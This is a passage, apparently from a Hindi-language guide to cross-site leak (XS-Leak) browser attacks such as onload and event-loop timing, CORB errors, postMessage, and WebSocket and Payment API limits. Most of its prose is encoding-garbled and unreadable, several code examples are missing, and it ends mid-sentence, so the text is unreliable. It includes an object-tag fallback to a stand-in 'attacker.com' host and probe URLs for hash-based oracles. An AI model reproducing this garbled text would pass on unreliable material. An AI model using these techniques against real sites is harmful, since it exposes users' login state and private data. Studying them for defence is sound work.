рдХреЛрдб рдЙрджрд╛рд╣рд░рдг JS рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдЯреИрдЧ рдЬреИрд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯ, рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ, рдЫрд╡рд┐рдпрд╛рдБ, рдСрдбрд┐рдпреЛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЯреИрдЧ рдХреЛ рд╕реАрдзреЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рдФрд░ рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ onload рдФрд░ onerror рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рдШреЛрд╖рд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ (JS рд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп)ред

рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ-рд░рд╣рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рднреА рд╣реИ:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

Onload Timing + Forced Heavy Task

рдпрд╣ рддрдХрдиреАрдХ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди attacker рдХреБрдЫ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рдордп рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдмрд▓ рджреЗрдЧрд╛ рдЬрдм рдЙрддреНрддрд░ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдпрд╛ рдирдХрд╛рд░рд╛рддреНрдордХ рд╣реЛ рдФрд░ рдЙрд╕ рд╕рдордп рдХреЛ рдорд╛рдкреЗрдЧрд╛ред

unload/beforeunload Timing

The time taken to fetch a resource can be measured by utilizing the unload and beforeunload events. The beforeunload event is fired when the browser is about to navigate to a new page, while the unload event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.

Sandboxed Frame Timing + onload

рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Framing Protections рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдПрдХ рдкреГрд╖реНрда рдФрд░ рдЗрд╕рдХреЗ рдЙрдк-рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдХреЛ рдПрдХ attacker рджреНрд╡рд╛рд░рд╛ рдорд╛рдкрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдорд╛рдк рдЖрдорддреМрд░ рдкрд░ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ iframe рдХрд╛ onload рд╣реИрдВрдбрд▓рд░ рдХреЗрд╡рд▓ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдбрд┐рдВрдЧ рдФрд░ JavaScript рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╕рдорд╛рдкреНрддрд┐ рдХреЗ рдмрд╛рдж рд╣реА рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдкрд░рд┐рд╡рд░реНрддрдирд╢реАрд▓рддрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ attacker <iframe> рдХреЗ рднреАрддрд░ sandbox рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рд╕рдорд╛рд╡реЗрд╢ рдХрдИ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ JavaScript рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдорд╛рдк рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рджрд░реНрд╢рди рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛрддрд╛ рд╣реИред

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: рдпрджрд┐ рдЖрдк рд╕рд╣реА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╕рдордп рдкреГрд╖реНрда рдореЗрдВ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╕рдордп рдЗрд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реВрдк рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рд╕рдордп рдорд╛рдкреЗред

  • Code Example:

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдк Iframe рдХреЗ рдЕрдВрджрд░ рдЧреБрдкреНрдд рд╕рд╛рдордЧреНрд░реА рд╡рд╛рд▓рд╛ рдкреГрд╖реНрда рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рд╢рд┐рдХрд╛рд░ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ "flag" рд╣реИ, рдПрдХ Iframe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реБрдП)ред Iframe рдХреЗ рдЕрдВрджрд░ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ onload event рд╣рдореЗрд╢рд╛ рдХрдо рд╕реЗ рдХрдо рдПрдХ рдмрд╛рд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдлрд┐рд░, рдЖрдк URL рдХреЛ iframe рдХрд╛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ hash рдХреЗ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдмрджрд▓рдХрд░ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

рдпрджрд┐ рдкрд╣рд▓рд╛ URL рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб рд╣реБрдЖ, рддреЛ, рдЬрдм рдЖрдк URL рдХреЗ hash рднрд╛рдЧ рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВ, рддреЛ onload рдШрдЯрдирд╛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рд╣реЛрдЧреАред рд▓реЗрдХрд┐рди рдпрджрд┐ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рддреЗ рд╕рдордп рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреА рддреНрд░реБрдЯрд┐ рдереА, рддреЛ onload рдШрдЯрдирд╛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд░рд┐рдп рд╣реЛрдЧреАред

рддрдм, рдЖрдк рд╕рд╣реА рд▓реЛрдб рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рдпрд╛ рдкреГрд╖реНрда рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╣реИ рдЬрдм рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Javascript Execution

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: рдпрджрд┐ рдкреГрд╖реНрда рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рд╡рд╛рдкрд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдпрд╛ рдПрдХ рд╕рд╛рдордЧреНрд░реА рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирдХрд╛рд░рд╛рддреНрдордХ рдорд╛рдорд▓реЗ рдореЗрдВ рдорд╛рдиреНрдп JS рдХреЛрдб рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ <script> рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдирдХрд╛рд░рд╛рддреНрдордХ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХрд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

  • Code Example:

CORB - Onerror

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code & Headers

  • Summary: Cross-Origin Read Blocking (CORB) рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬреЛ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ Spectre рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЗ рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬрдм CORB рдХреЗ рдЕрдзреАрди рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ CORB рд╕рдВрд░рдХреНрд╖рд┐рдд Content-Type рдХреЗ рд╕рд╛рде nosniff рдФрд░ 2xx рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд▓реМрдЯрд╛рддреА рд╣реИ, рддреЛ CORB рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╢рд░реАрд░ рдФрд░ рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдкрд░ рдирдЬрд╝рд░ рд░рдЦрдиреЗ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдерд┐рддрд┐ рдХреЛрдб (рд╕рдлрд▓рддрд╛ рдпрд╛ рддреНрд░реБрдЯрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛) рдФрд░ Content-Type (рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ CORB рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ) рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд▓реАрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

  • Code Example:

рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

onblur

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк iframe рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ #id_value рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреГрд╖реНрда рдХреЛ iframe рдХреЗ рддрддреНрд╡ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВред рдпрджрд┐ рдПрдХ onblur рд╕рдВрдХреЗрдд рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рддреЛ ID рддрддреНрд╡ рдореМрдЬреВрдж рд╣реИред рдЖрдк portal рдЯреИрдЧ рдХреЗ рд╕рд╛рде рднреА рд╡рд╣реА рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: рдПрдХ postMessage рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП postMessages рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

  • Code Example: Any code listening for all postMessages.

рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ postMessage broadcasts рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ targetOrigin рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдареАрдХ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рд╡рд┐рдВрдбреЛ рдХреЛ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреНрд░рд┐рдпрд╛ рдПрдХ oracle рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреА рд╣реИ; рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреБрдЫ рд╕рдВрджреЗрд╢ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд▓реЙрдЧ рдЗрди рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЗрди рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдХреНрдпрд╛ рд╡реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред

Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

Global Limits Techniques

WebSocket API

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: WebSocket рдХрдиреЗрдХреНрд╢рди рд╕реАрдорд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдХреЗ WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд▓реАрдХ рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХрд┐рддрдиреЗ WebSocket рдХрдиреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдпрджрд┐ рдПрдХ origin WebSocket рдХрдиреЗрдХреНрд╢рди рд╡рд╕реНрддреБрдУрдВ рдХреА рдЕрдзрд┐рдХрддрдо рдорд╛рддреНрд░рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрдирдХреЗ рдХрдиреЗрдХреНрд╢рди рдХреА рд╕реНрдерд┐рддрд┐ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдирдИ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг JavaScript рдЕрдкрд╡рд╛рджреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ред рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдкреЙрдк-рдЕрдк рдпрд╛ iframe рдореЗрдВ рдЦреЛрд▓рддреА рд╣реИ рдФрд░ рдлрд┐рд░, рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╕рдВрднрд╡рддрдГ рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ WebSockets рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИред рдЙрддреНрдкрдиреНрди рдЕрдкрд╡рд╛рджреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреА WebSocket рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИред

Payment API

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: рдХреЗрд╡рд▓ рдПрдХ рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рдПрдХ рд╕рдордп рдореЗрдВ рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ XS-Leak рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдпрд╣ рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдХрд┐ рдХрдм рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред

рдХреНрдпреЛрдВрдХрд┐ рдХреЗрд╡рд▓ рдПрдХ рднреБрдЧрддрд╛рди рдЕрдиреБрд░реЛрдз рдПрдХ рд╕рдордп рдореЗрдВ рд╕рдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдпрджрд┐ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ Payment Request API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ, рддреЛ рдЗрд╕ API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рднреА рдЖрдЧреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд╣реЛрдВрдЧреЗ, рдФрд░ рдПрдХ JavaScript рдЕрдкрд╡рд╛рдж рдХрд╛ рдХрд╛рд░рдг рдмрдиреЗрдВрдЧреЗред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕реЗ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ Payment API UI рджрд┐рдЦрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рдкреНрд░рдпрд╛рд╕ рдЕрдкрд╡рд╛рдж рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рддреЛ рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ UI рдмрдирд╛рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдЗрд╕реЗ рдмрдВрдж рдХрд░рдХреЗ рдЗрди рдирд┐рдпрдорд┐рдд рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдЫрд┐рдкрд╛ рд╕рдХрддрд╛ рд╣реИред

Timing the Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: рдПрдХ рд╡реЗрдм рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкреЗрдВ рдЬреЛ рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб JS рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

  • Code Example:

JavaScript рдПрдХ рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдЗрд╡реЗрдВрдЯ рд▓реВрдк рд╕рдорд╡рд░реНрддреА рдореЙрдбрд▓ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рд╕рдордп рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдорд╛рдкрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рд╕реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдорд╛рдк рд╕рдХрддрд╛ рд╣реИ, рд▓рдЧрд╛рддрд╛рд░ рдирд┐рд╢реНрдЪрд┐рдд рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде 